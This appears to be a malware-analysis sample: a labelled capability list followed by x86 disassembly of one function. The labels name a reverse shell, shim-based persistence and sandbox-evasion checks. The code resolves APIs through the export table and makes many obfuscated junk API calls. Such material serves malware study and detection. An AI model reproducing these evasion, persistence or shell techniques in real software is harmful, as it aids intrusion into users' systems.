Function at 0x825010
Capabilities:
Accept command line arguments
Allocate thread local storage
Check for time delay via queryperformancecounter
Check for unmoving mouse cursor
Check mutex and terminate process on windows
Check mutex on windows
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Create two anonymous pipes
Delete file
Enumerate files on windows
Get common file path
Get file attributes
Get graphical window text
Get thread local storage value
Persist via application shimming
Query environment variable
Query or enumerate registry value
Read file on windows
Read pipe
Resolve dns
Set environment variable
Set registry value
Set thread local storage value
Shutdown system
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x14], ecx
push 0x9cd2
push 0xa30d
push 0x77c8
push 0x9b42
call fcn.008246e0
add esp, 0x10
movsx edx, byte [eax]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + edx]
mov dword [ebp - 0x10], ecx
push 0x15e0
push 0xd085
push 0xcc51
push 0xf8bc
push 0xf583
push 0x30ef
call fcn.00828ab0
add esp, 0x18
movsx esi, byte [eax]
push 0xffc1
push 0x9a37
push 0xfc7
push 0xca55
push 0xbe27
push 0x11e7
push 0xafee
push 0xb75d
call fcn.00824ae0
add esp, 0x20
movsx edx, byte [eax]
sub esi, edx
add esi, dword [ebp - 0x10]
mov ecx, 0x38
lea edi, [ebp - 0x118]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x10]
add eax, 0x78
mov dword [ebp - 0x18], eax
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + edx]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 8], 0
jmp 0x825113
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
cmp ecx, dword [eax + 0x18]
jae 0x82515e
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00824900
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x82515c
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x24]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 4]
add eax, dword [edx + ecx*4]
jmp 0x828a14
jmp 0x82510a
push 0x1760e
push 0x3800
push str.qQFLWpcmKhEDvxOLBlzmeeFiVpmvTeXprvHlezePzIWWpejwGFHFnJgVmFkhKiX
push 0x14bfc
push 0x5bda
call dword [sym.imp.WS2_32.dll_getaddrinfo]
add esp, 0x14
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
push str.lGIcadaseymsBnFrCOZarjrOOTGLnUXBCpKHsWCZVTlvftGHlqTnzwJKnsQPghqERKSFAYFEoaXKkDlb
push str.HhcbImJPoSvOpsbkQNYfgwYusVnPwZlJwWvKpOoGChuokhvAbKyEewsrEYqnil
push str.ZcUpcsEtevTvpxloPjhiajrAsmZgjeVBfwXDSNDoxNXsHRoPfWqvvUjhkALIXRfK
push 0xd2b7
call dword [sym.imp.COMCTL32.dll_ImageList_ReplaceIcon]
add esp, 0x10
push 0x1ca0
push 0x15c66
push str.nPmvhlNZZUQsRJURxEVhYsFYOPjLozQLlnNiDeJBDRrhTgOEbfaeTFNbGVvgOShyAOjuumOQnDVlpFQLUg
push 0x11f99
push 0xce6d
push 0x630f
push str.YiThvHgHzbPsLrRmHmWhjthUGTCfjATcFljJYBrYUBVKOPflbkUDdsYwyjBbCnXmIGChzelLveCvanodIlyF
push 0xe917
push 0xca45
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
add esp, 0x24
push 0x109df
push str.uJhfXvlJSqDTkSoJiSzVcDOdtfLFblGUQOobKDtdpdxvsVCOXBqOyOpqGTShyzzyNxEtbjqiXrZOGXxjHDDraDsJdZpOv
push str.yLrDZKfgdSAtfociOARUgTbdIBDLwLxBfdVfKbZUZUmqVHLgLunqjxmnJBeUyB
push str.JwpGOqFyOaXvUHinizKoynJhiUJPCKPshzXJArJBoZXautBFynynBCPruGu
push 0x3908
push 0x17302
call dword [sym.imp.COMCTL32.dll_ImageList_Create]
add esp, 0x18
push str.KlhVVWodrGcaLPaaQhsSyOWQEWHojNorRZQeVDEOHOWgsaCWdqsGYx
push str.JsnBCeyYRffqOdLTrCAuILUzqjYtkrPBPPkGDeIhZPYQnGLVCfUZuYxVBlJQEvySLagSHTkPLGwxwSnZIJFOwERhP
push 0x75a6
push 0x2e44
push 0x2557
push 0x6800
push str.IGlWUIKwSfNCqielElNCLsZnFtppbrypdGyObSgHAycVpZFfTQuVLoNsYNxjxFYeXSnSwpsRdedPEAXnUbJYFEZRX
push str.cbdXPtLcAYxVsZTgoSxlGKlNwWHKkYnLvKTgxLHijASbTFVVxkGWKYLLnwHBpnTVCNUPbZIScozUamrsUtXALutqa
call dword [sym.imp.COMCTL32.dll__TrackMouseEvent]
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push str.FRqsarQjyspIuVljdCpzEBeEoITudedDHGiPAljkukhhLtVkPc
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
add esp, 4
push 0x11d3
push str.VcsuUlKtztuCQYbXxjTYOXZSiZFfWyrFRHmzrrXpmfBtRaINSvdfKAdkHybKyjIqZtu
push str.YbDrtfCpAVHQSYnOANWcKJcFlpyaPfnTWPRnqUlqXfzQfERJVwynCmbgdYbYZlIEaXhUrRUuYqieriPJjj
push 0xdccb
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
add esp, 0x10
push str.yizgifuCYaFPFOtwZmgAxKdYwhoDTymuvVRPmUnmzVKJksxdgwamZrZFyKdqYGYUaGzEdTIdwlyRgSiVXzXyYTCVFYGDoqVQAkI
push 0x2921
push str.sJEDXdSZOIFJvGnoKXIsLhifRVPfVfXZmmhCHTqgvYuKcjSuKhsutfKeatUCazQoBKHYKYV
push 0x130cc
push 0x8337
push 0xb390
push 0x162c5
push str.BgwzFGECYOPCoYzElpmJDPUlvGmGhwyrxXtBEqvUmgwhkgOocryB
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
add esp, 0x20
push 0x14e4
call dword [sym.imp.KERNEL32.dll_CreateFileW]
add esp, 4
push str.ZZsqAfkxxgLePRdyXyDqvAowsBGsNNzTavNuKzAKXeLHAUFRlvBexWivvwaUsjXGJVTDiBICpQPPwCdOFV
push str.LsohiXspuRZHRixTvHhNHpAlsuKcCRNVOyRSQhFycJkZWEimoySThqRlATeRwuaE
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
add esp, 8
push str.ilZZygoDciSiFOwYKbrUSFVQePsaBtfvIOphppxPEuzUPOnmsEfRexnKDvISAfXWPDgGsxmdxnIhJbBTo
push str.khVbmXazbscbILFOeTfjFrkVfDASUDKdLNCsVCpbjtttVcCAsraZaoRpPOXxtmZfeYFZeTwbtTDCaouDGftOSktYX
push 0xa808
push 0x182f2
push 0x179a7
push str.nYNZWWzhhDzEJBEPOQdfOjaonGfSrLmSteUWxDraZLUgeelplFGHHnQkQujVShnXjxDxXmGmS
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
add esp, 0x18
push 0x46a9
push 0x645c
push str.GacVomTpFbUpxIVbuVYVVIaryOowuXcbKpIuSslHROXwYyCAYNvDPfIsuERYDXoYQvAEJcLtRVTRxIcidKShHkTCOA
push str.QpnBazBcsTBHEeAFCKrrNchzhvIdkLnJgSqspGuWJHUVIwScphHsRxqTIA
push 0x15812
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
add esp, 0x14
push 0xe011
push str.kWWklqbSdEHZOPrQPYpjviQINvWxVqgmqQpgfyFRNnWwXvINnrwnVOdRZvDvWGC
push 0x15c63
push 0x13afc
push str.ONAZiaPTKSHlpdTmnXBtvAtyVjGWUObterRHwPSeAutqhBAAdaHjUSvFKgqmfErRzaZ
push 0x17f8f
push 0x7e2
push 0x116ed
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add esp, 0x20
push 0x5521
push 0x964
push str.rVEcBDfqBGmuKUYskUCdAscxqpbjqcDDsOedqPhLNswjBUmfTfKtRUjPoyFDmt
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
add esp, 0xc
push str.lEaSqooaqVWPgonObIYjHBrHJlSkbPaLSCPWzVSRLDwfASylarfJqaVnbykaEiKQeahqJoPpbZGxbKsnhZsXpAD
push 0x17d16
push str.LHSEOjHCCitoYjpgrmQvwGTlNiaxZYRzPuBadJxezBOFPVjGowZtreCaqLqeRJpLQLeZGKtdqHPExtzk
push str.CVJiuLEEtRjtquvbeWZbIskWlRxHRNXnFWCcAqLIXBwUbZoeqIXAxIaSoDigHKxCWlNzLtcxcELDffOiVosIpPtzYGhiKhbekY
push 0xf3c5
push str.RzOYUOVzuFscSsHkBgugISAyWwxKADTIFcqajyDrXClnhpKHJrVcJlssikjKWI
push str.iSnHJzHemsbzXGxtJbISmwFavWmCVEszneeuCTIrXsPdDPqDZCBihSA
push str.DaQwdRPmqnDwceBsttbjUTQSIbqfxVnNfgOIJeZFiqQvjSWkNDVZfkHoHul
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
add esp, 0x20
push str.CqAJqkvyivjkUeVQrgyGLeXdYhjQYTqJNEQNwduuziqmUqriXNWV
push str.nPBdQAPrnrHGoJRQRZlaSFOoHefkSpexyVYLsNBbFApcHmUcLLZivcUWlAlEixmNraZZqUx
push str.SCycTmXXbtiQtaYkGdLumSyRWlRtnJPxwlfveYqHxHfcwzQBxWyqAUvo
push str.UIuQmZalnNWprXeVHbhImKdhidWmpjnJVjwCsCIdckNeQHOJxaxgGcHfrsaWGVESLOw
push 0xaf53
push 0xa965
push str.GVXAvLOyYQpbRsuBJSjiuTKVzhBtrNNoQDIBuHRbqrYIGLDElZAiOzhuCXZDUyNnRUxiwehXrQDdnFjg
push str.yOIaXmyVKjqPmjNjsiNGetsZURoNaCCOphJXKOjkNVbceOiuZnSfNiiCvAaYYWaZLLAC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
add esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0xa961
push 0xc204
push str.zxXJtdGPODDXFHPFeeaJJuQdiJwGcgBBxxQPSCXeDuLLzeuoUJAlptRTQJZPjrQxkreFfcdoxpTLHLBENnQygNyvDgu
push 0x672d
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
add esp, 0x10
push 0xff62
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
add esp, 4
push 0x1257b
push 0x14e24
push str.ceKDFVHhuhmXZjzXNGaWJgwGpUiwYyrGkLdasPUSHtBmEdbmqxvOYmrSDfVpzZrRrtQYfZTQfAOqRz
push 0x172da
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
add esp, 0x10
push str.dypNpiFTWNVdCyEXdcZDFNnPFqbzHfqyLZZbdNZayFJZLhBNHKZNImuoDwwrnbygguQaes
push 0x143c4
push 0xe391
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
add esp, 0xc
push str.lLLvbbToRzsjzcZKhjoQqGCLuhEZzJnKjxbfwCyfAKRiLsucHgiprsjlhQEGADqeeCmOglditSclSUjHoZlxDpcEpBxNFBSwYQk
push 0xa8e1
push str.niLBKIJKpdxRaQvLymwHurXlzdhTQArOyVDhzWFZedaltiBWpQgXWNnIzseK
push str.HWORrBbNPvUlKSWKpLwxHCnrRUjluYIPBhkKQaORGLDdnkeTLwpDegGHjyPoFZmU
push str.NnkxTraqsfupCWlWOIOYpcVzYeiAplxLZyjkAxHuTEuuWRjOAqPYbQBueHnxJmdfVsxswFmeg
call dword [sym.imp.KERNEL32.dll_FindFirstFileExA]
add esp, 0x14
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.bKayNAAdCLCuqBagEHsvRcUZzmKpIitodfuabPHvcdvpQQurRjUxjWqQ
push 0x18383
push str.AbkYrXfVXTZQEJWJPlmLvAlQTYvnKbWzgnTTomXzroRRbrzmzieavNhDZVsvnFbBwopiAqLXDVpYsxqR
call dword [sym.imp.KERNEL32.dll_DecodePointer]
add esp, 0xc
push 0xaf4c
push str.ZBaLaZxRghUQgxtXlEizlrkmPmLgtaCNpbutYfiQFusxZqcgtXAbjEdJjSpCdNQInzQHYfGtPgHRbXkbR
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
add esp, 8
push str.EWQOcPlmSyEDWFUPtEvklEnXXJWVAnkiLcjKSszrKsIDjVcbejVkfblNNqtdGcjBhueDSIbsJgDQocK
push str.HuszpZvSmJxdImWcQYNEwUOmgRHuDivleEHKsWKuzavHvKcAyaWpfXJgnfBHwlmniQNfJ
push 0x12d1e
push 0x4840
push str.xFriZqjsCoDsEduiSKSXlimcceXYghFXXRdnvbWCpxWiVNcgGDetDctDDDXm
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
add esp, 0x14
push 0x1e0
push 0x21ed
push 0x54b3
push 0xf55f
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
push 0x8d13
push 0xd0cb
push 0xe244
push str.CWrgmxBFbTgZEkeOyUrsfJvhAppQVcvJrzGjksgLitfGdJCVCAvfiTWbIamFQrDIuKaobhJgFnwAdOBxjHdCp
push str.GUoPiOlTpgylrpzWflkTIezEXgGxBGZFmKAJYCaOZqxpwecmpToABLOEqewNUEKdkkymjLfdajGYat
push 0xb67e
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
push str.UOEAvPCPsZEnLopPdrHlzqOgPzBHYOnmXhgHXkLpRPWyzGETvIPbyOpEOlxDiBDvBZzyoI
push str.QDcXycXSTVwekqFjmnWaZVOqNxVJEXpbYzifunqoywVrQzNhbVPjmSLthVQ
push str.bxeDgHexsRwsNQmENUghcaPwRvUATsbDXDFcXTnsIqHHtSRJmwdYLYRflAuQEttaIvlzGpPYAdRLeRlWIQYVyOvTtwHKEZSD
push str.hbBhRoYKcvOHnTFiRcciGBtaHlKsmNyzEsWQHgdptQpkSigSWs
push 0x12f6c
push str.JUxKIXpJJYbIwfKXejZXOYoCTFyvgEumkrxbZlLeQADUQdrarygejxdVzi
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push str.eiuNXAFbCbbyUYWjkieschrSRcZnzLHrIrRsrEfedTQPZUBFJdHuEIiBRRoIlUIgvtlRQYfaHeHI
push 0x3076
push str.EpZFcEtwrJXOgdzUuxrUEKPQmYOqBvgmnQlJfLbOvViNUuXQEYsstpvUpJlkUislWvWvCYJ
push str.wESNOKwneGhAcgdsPYAHsOcrNRLrSsJmGBJRasKluthpvjDoZsmnzAPjiaYLyPFqiaNgpxRJWtwthdm
push str.SSqgZnKnjqwfQLydpkdvrOIAwUPvAkudXFIYGeWVCbyFGViwgvxFIgelvwzVy
push str.SNIdYRawzSksBgLYBxUXrAPLnsaSvgqgTLaxgZSuOURWBDBugBEXxkDjNSjFzezwjqPITFQQSfBKvhVfPHcCPLq
push str.NnCfbNUUvxHtyeqGtszLOvnGiNSyTHGLUwqUaIAUicbsINajiqiiiAUYVXsGZ
push str.VaSHXTbEgubaEYZBllrLJerYYpVqLdCOlNWvLDdTNyTlYCjRFXysnpY
call dword [sym.imp.KERNEL32.dll_CreatePipe]
add esp, 0x20
push str.lcShbIONhpATKRCEPunmyHTjoVPeZJzlVuDGdhsAmcjIZLQOjLXiCkyUlqPLkvadTUFxK
push 0x12c47
push 0x17f15
push 0xa92f
push 0x35e0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
add esp, 0x14
push str.BEkYLSHYAIwxlDzJyEZJYgIxbEZHAwtWBwdgsBDGmQbWfvKIYPUUockIiLZpgEahDzLqDmGyfmPNLAdCDJutFYc
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 4
push str.uYVcIjbJdcHANTdxrKsHjaJfCJaKQIzDRBQFxomYyYKYGQAGYWvWTOHVjneRNxjLgPZcsVTeOrRTjYSKuTxCacKkuE
push str.uGtbWlXlDAtSNJBopJsnEXZOsFtLQzbusJcKsJjSAgEtToFTsmOrTBcaxKQUsFAtyNPK
push str.iFlrIZGrkFLJHkGcmdSOIOzvkHABVUiCUKhDxrzFRaIGFQWIfAGadoDGiJCjPFrgBDrqxRg
push str.JROOGnUWsbbqsAjEVtTabNdAWvZOVAQDjPeSRWyeySqwQrHgBvnloiAGAwoqSSjqCVEqExziqusKxqkGuhCrvINtCvAQd
call dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x10
push str.vhnDWRhaNkYSrQxkDxWpOHPzDKoUWfQhkvsWuInUAgyefEsBtStcoUbXyrpmT
push 0x161e8
push 0x1302e
push 0xbf30
push str.rQkYvvZlHLGQPOnUomlboNXyvccfAOYvkkGYWnXeEILKNabcFGLjxZNcJzrvvmjH
push 0x7ce7
push 0x69fc
push 0x25e0
call dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x20
push 0xe5e4
push str.CPzwodQyNdERmWOGtsrxwUnJlqRNfLVFiJYuzPwoJjpAirnxgcaASfrSlaKWuDIOyDNWKQbpbfi
push str.bEsEDjYPPKPPaleJnlNpikbnLdFFwLHPBKDjPXRGgnnOgTBJDGSUsgWJorpQgiTgFDbECUWwPXBKjIGYbnVSLsbWNdYHURSuIG
push 0x13edb
push str.hVDtFJOxoXYYodVhqKQcAiGyFARgamcRLzkTmDBjPJDaXxPgbICgwYyUTwWfPLJpZKrPuIwqwoShCGtcfIbxdakdIIGRTb
push 0x2227
push 0xf7c1
push 0x10fce
push str.wSquLRocSPmKJrieYmJHRmKRUqPFnSjArTVeoAIOPHBgJCfhatlsqvebUyXmNwpRVAKjWODhvkalmISRtySDaUFUVrcPFJ
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
add esp, 0x24
push 0x6b46
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
add esp, 4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x14742
push 0x7ac1
push 0x17c6f
push str.UDWrxzqavUksCIvfbjwzfoqApuvkcIYAJmpmpEamvQFcOroVKrBZeIrhTGfsHOqjxuULpWhulyFhOrFhxiVoGWQqguKjSGKcN
push str.ENJtYHiGoxjxDnrTclSvCvNtsqCQvBpKpixCmSqbQuRsNXqBNFGlNNKnQu
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
add esp, 0x14
push str.HjjPVUbLBFilPBnhuvHevmnDFpQHQYBRVNqhGtzGGCFvRPwxHsHfkagGBfLeqPKg
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
add esp, 4
push str.qTQsQdnveilnFtckisuxkcvQOfWRAZcynrRzvTkuyJIcyAzCcECEKntmqbBuKHqlYdqEhGhcOdALbciPUzquqgqD
push str.yGQltitvQzwmkJBzFFLFVhUOggxSLvKusPtOvxviQdnaCWUYEScWQwexaEAvOQFuHv
push 0x940b
push 0xf4a4
push str.GypPRyBzjaEEKweBEjAHuAPhUgwCORLuetPQhNHXcHefrGRpVAxDwyHRxwUgqkXQtoUpRBjwdVDfbmVpYFbnrnpuD
push str.rtjbifDwIcJuIITzjFiSKCBFXORfrxTjOaqsHqryfJyQqpvmgl
push 0x7f05
push str.QcHnyBvFdFxFBSFifrNjvXgOBZrwOzTQOKfcGDSwQKBVYQEIaKXsDHBKfQEPBnhpRctFGoYSecmuhdzG
push str.yCxVGlODYEVVqulPlKPXhFdKIgvFgKeNumtxBfdaUQYvBwVdKDpyodbKaiyXtCSlyaglEsjRFXsrEXH
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
add esp, 0x24
push str.WZPnTbGRTawLthAKcBTHqnmIORcWSreBeDtxbgInYvbFrusSuBjnOVQlFuLrHyKFFVPlkcnYwrWauFXfDIJbd
push 0x1323
push 0x15ac6
push str.aOovWKIvIZNvfAORiRqYAYXmaWDHDnsqeLeAJOTJmdJQPTFJjFoJVBcrRpnHAUUtyBNlSBAkAmWBzRHacKGLZxJzCG
push str.WwNcsIAwtbAQRkKKuVLfNrHrrlogVbRowEVvgrhsGuIpoJzyFTQKB
push 0x13c73
push 0x111fc
push str.FUNckHSyVknSGfAOfhpnOmgtqpiySBrlmmqdxQqbeggmuyYrfdUumbQWqoo
push 0x408f
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
add esp, 0x24
push 0x694d
push str.ZKUAnfgjxrfTKAFhskhaVlKTqQGLyPbTXuesuxoudTIcesaLLTfhQSHTbz
push 0x14d2e
push 0xe108
push 0xd22e
push 0x4138
push 0xf44d
push 0x418e
push str.zbPuhUzOYlxfEbDrKDmKkclLQxuCbwsZirZlLbxmlIZPicWUhzPODhIOYeeT
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
add esp, 0x24
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0xbd6a
call dword [sym.imp.KERNEL32.dll_TerminateThread]
add esp, 4
push str.SnsFxPWCsmJeUiZQcokzEdcHrZzWlpZRuWuZGOnTYdCsJIRDJCTfSORHIKeVsNJTbcYPcvuSCGyIbaT
push str.IfbLtCVHWuwfVblUjSmYDDLnhbgdZwRXspmviznmpyHRsswZsnxPNssQEbSRGmwkeQynBRLqqP
push 0xc0c8
push 0x73cc
push 0x13f71
push str.bujzBGoNfDCJTgaxnkcGThlfLskAVigobHgDocGwWpkmKhgJdtRQoVIyJbbBjqEdHXTSyIKSxuSlVtGDQSnjAD
push str.AriKciFlJCEleRqHvIcNsVtJvwtRfjubausdpfItdjCBAsVWjVbzzdESSIcdrhCXO
push 0x12700
push 0x17ad4
call dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x24
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.SGnncGWmlRlmlHFvRitWvZWiklGLDpjszyDtnuJUxFsJAwqCTOXKAHvaDDnKhBttcgLxgvHPIKqGjaQzastaNASwuP
push 0x102c1
push 0x566
push 0x1153d
push str.tqvPvzhlJVqViNABSmFBCGIGiRSiThkPgeYSwFBJgtfpFDnKEFtGOQIBrtyZplKjdxaOylgQZYePRtJ
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
add esp, 0x14
push str.gClcWNSanYgTFArBSbYHovecNGzLUcceYWlAiPGacesJPJgrapCBtBcVrdlqiojUgXkKmoJHxCGkHIZtDsyowwVU
push str.ZjJXHCTxsUOkAjyYrtVbGHlzkIqSTaAafNLqGItSpkyEdQtsSIVagQgbugtzFuoiBlHY
push 0xbf0e
push str.gJFweSCXSJTBDbFwWiFnleiBqmaHgYWRwenvOmoTDwGDucsNtnbzoSOHVBVlsnNjKfgTOxdaiUiaURIRpbFmgkiYOKbrjf
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
add esp, 0x10
push str.whrJlzjsXcTsBePzfeBOkPDgzSurBKDdLswmgcvRnyURhsGopqdJjltddKfH
push str.QIKiqQxmwPliPrmtBgPiDwJgtnwEorUxcWGEnxevYmYnPLcuoFvdGXrbryWOQEsPqJTxatYsncjYEbcNsj
push 0xbe83
push str.mIqOqFZzLytsDlHHQVvrhUVBACFqettiNwfQmCJwWLIBcSCWJLoeQu
push str.HGDjWiqvOQJQYLzmilEltrtEKOrvRzyrUULexLUpWrArEZIEfiBrQlVRgnQSlLNSFyqNFwaswi
push 0x19f3
push str.jUmJjZQXyUbZKWJYAubuIrHKScxQZrtIrGiTAeHPLmgVkIZLfZhqCrfwxVLAfsUsjjPUm
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
add esp, 0x1c
push str.YVXrjlBzzyGfYRvwjbFrGoajZXWRsxicivcguLZTzRXYRlDCcavxmSzDXfqmXSopeuAQsJQFqsbZzgnfOUliCxIk
call dword [sym.imp.KERNEL32.dll_CreateEventA]
add esp, 4
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push str.DfNEnPBtRZfxVIEpYqwLwXYFzuTqfLUwcbkbbCGDIgGeHniuLFPqVDsAIDOzZUSPDQHHsQcJwUbukYixVFAr
push str.abRtvmfzRmgHcypyXPiwWRcQEkbZWwXSGBoCTyGAgngxrcDCIjrIWBPwUTjriXztFVEJcUJTNqkKUpsgpycyeIqjLcalJfeh
push 0x8fe2
push 0x10cce
push str.lYytjAqHYqsiItbcYlmXlCybAPgkKhTRHqfSUIFSsAYQOKflaKnGbjhfSOokNXQUiSNrqvdCSVqyLTBqlVpIziwxwuguDf
call dword [sym.imp.KERNEL32.dll_ResetEvent]
add esp, 0x14
push str.PzgeETxtPssEhFGyzPoVXLTtkdUxLDHlvmVsJHCuSaymSJciIHyXVQfdCcDdcuDkrPfOJbN
push 0x9591
push str.XQfYpQfHfHTdPKZOzuVBEjLBLmjBIuffXrnITDTqUQqwGKOpoDhZXLDZOoWFviXCpZhKecFHvdwQdJgaKa
push str.DFtqDRIlDAwhbBecorWXnCUIkqrVaUCrNYOIsXQUTlLptWJtTHjFIgZpsZDmFQPFLCPaPHvnzopQyiKhDHdoXcO
push str.ETQoIbTkEEjnAebjxoCoadtKRPLnVgZmhUHABROOPqPvpAwvqhLlIjnPoqxgCAzRNSVWRgedBXCxHS
push str.RdOsEZetvRoSEWvtHmBNbpgWhArsucugitBXFeKLrXOOkkvwfzIdhEsw
push str.OcRSLqLyXyysWuexbmjaOtmWbosgVDtdwHDPPIxJkSwBPcAPjgibgnZFYdmyZybHShEEIgATwuDZ
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add esp, 0x1c
push 0xb692
push str.LsrLPoqtyaoJkoahogEofYxDBCeHNEEECwTYvUeFLIvPPyjmDAzYQQCKKuLRcGyynKDZfumKJpyS
push str.CrDBQswsYFkxPkXizHaRCxKPHjxQwDizrDtVjwGQSgosbSjxEsliwNndnnjSZzxRmjdUKARrDwBOlOBBmzLjGneUdy
push str.qhqcymUYmHwDUNkbLwwhlEluPwwWtEqxbYszzFhiGBfmtvBjrRouFGbTFfbAgDQlqeRWRaiqDNKk
push str.TuhiWQFpZySYPuJfCqYQgnjzAbEvEuTzEpNIbABmSLfEDJCWXIRIFv
push str.mhJcDhwHpHBhwmZTCKeBNKJkblaDHfIKpBykxPQiLBCrfLATEsOjvx
push 0x13b97
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
add esp, 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0xa5cf
push str.JndNTeubJUdCqNbehOIQvKwgKlckzTrVbogjYXlDCwDpNcwpXUnBYpeSSWUGQPFOUvJVkYRKaYtPgBCmQhBblfZbSGXFGrha
push 0x8057
push str.jfsiDHytsuhBVCkeEFTGzZYcuFWuZjCjVmpjigjLbBEpKfsevYLjYjECbceWeNbXLKcyrjgTvTr
push 0x900b
push str.UOUBzIGetPliHIicrgfLUNcgcRVbwWQuXIilmwnnZfxpCYOEUWcyHGbvsVVVpaFGokwxuDpEhwJbRLLcpQRzOLWwlCaW
push str.usKsbbCKWvgafWkqfFFAtKDfproAyioIkCjpDhGOjXkIgytIEABQTuWXspXyzCPL
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
add esp, 0x1c
push 0x3e74
push str.OTLigqNGVtTsSamWwmwiXVUWeUPvQegwhRiVXkJrfYpOnKILiEZrilQSsLVUwIUeKgKCBloHHkaWXtIRsylyeXzvobNOSAj
push 0x46df
push 0x3866
push 0xea32
push str.ySYrGBhYRlNdwZrAvqOecvQIBkINXvWuBdlSevSnsObmGnjHWWnstim
call dword [sym.imp.KERNEL32.dll_AttachConsole]
add esp, 0x18
push 0xcef1
push str.THPryzXiicYjfxlCnNpAjrSDRCvvcqOElcQgzZGenEOppZLzDhKCtTPWjyHXcXWhfHEhaRosRhLEFDQeOiRWScyrhUZoqp
push 0xa228
push str.ZqzENXwWfVinNfUFpJnkiHmTSrylBtBhVWzYgahICdEQllJwXEvKbSHqqVfFx
push 0x1530
push str.tirIvjuzKmWkrnTyKfjQhAiKRPsAiuCrFUUencEjxyJFdsmdcRIynZLvCsEJEypFVfhBFjKpsgtayqSDiR
push str.AWNgIaTbPbEICSuOenkjubqVamXOjeiXUTPeTlrPYFvvdlBYSOajpEW
push 0x5805
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
add esp, 0x20
push 0x105de
push 0x10c46
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
add esp, 8
push 0xe28f
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
add esp, 4
push str.HquHKJTcBCXnJymnwUyilYtqWCiLFGqYjRXZiywQQXURWqEPRrG
push str.StwhPDKmCOJrGGifcTTXxIldvarldvSqZmedALIieDHBxtunUxvFpVgpjzYhKPDKudkLAPoqEVDPZKnJHqSnUvr
push 0xf35e
push str.RAvoRKHPoXUDsGKTiYraBbagpzdDIjLlcitfSYsDGIHjiUtQejRKmWwGVChZlHcQjOuewBLrByeduuHZkSZGFZkSZyuFsYtxX
